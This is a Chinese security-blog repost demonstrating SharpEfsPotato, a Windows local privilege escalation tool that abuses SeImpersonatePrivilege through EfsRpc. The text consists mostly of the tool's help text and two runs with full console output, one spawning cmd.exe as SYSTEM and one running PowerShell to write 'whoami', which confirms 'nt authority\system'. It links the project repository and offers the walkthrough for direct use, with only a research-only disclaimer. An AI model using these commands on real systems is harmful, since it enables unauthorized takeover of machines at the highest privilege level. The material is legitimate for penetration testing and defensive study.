用法
C:temp>SharpEfsPotato.exe -h
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.
Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.
-p, --prog=VALUE Program to launch (default cmd.exe)
-a, --args=VALUE Arguments for program (default null)
-h, --help Display this help
默认行为:在单独的进程中作为系统启动 cmd.exe(在单独的控制台中)
C:temp>SharpEfsPotato.exe
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.
Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.
[on evil PIPE \localhost/pipe/44259a4a-cbea-499b-9dc5-a9b1c13a4b9f/44259a4a-cbea-499b-9dc5-a9b1c13a4b9f44259a4a-cbea-499b-9dc5-a9b1c13a4b9f ] Triggering name pipe access
df1941c5-fe89-4e79-bf10-463657[email protected]:
[0x6d3 ]RpcBindingSetAuthInfo failed with status
[ ] Server connected to our evil RPC pipe
[for process creation ] Duplicated impersonation token ready
[ ] Intercepted and authenticated successfully, launching program
[ ] Process created, enjoy!
指定 PowerShell 二进制文件和参数
C:temp>SharpEfsPotato.exe -p C:Windowssystem32WindowsPowerShellv1.0powershell.exe -a "whoami | Set-Content C:tempw.log"
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.
Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.
[on evil PIPE \localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/c56e1f1f-f91c-4435-85df-6e158f68acd2c56e1f1f-f91c-4435-85df-6e158f68acd2 ] Triggering name pipe access
df1941c5-fe89-4e79-bf10-463657[email protected]:
[0x6d3 ]RpcBindingSetAuthInfo failed with status
[ ] Server connected to our evil RPC pipe
[for process creation ] Duplicated impersonation token ready
[ ] Intercepted and authenticated successfully, launching program
[ ] Process created, enjoy!
C:temp>type C:tempw.log
nt authoritysystem
项目地址
https://github.com/bugch3ck/SharpEfsPotato
原文始发于微信公众号(Khan安全攻防实验室):提权 - SharpEfsPotato
特别标注:
本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论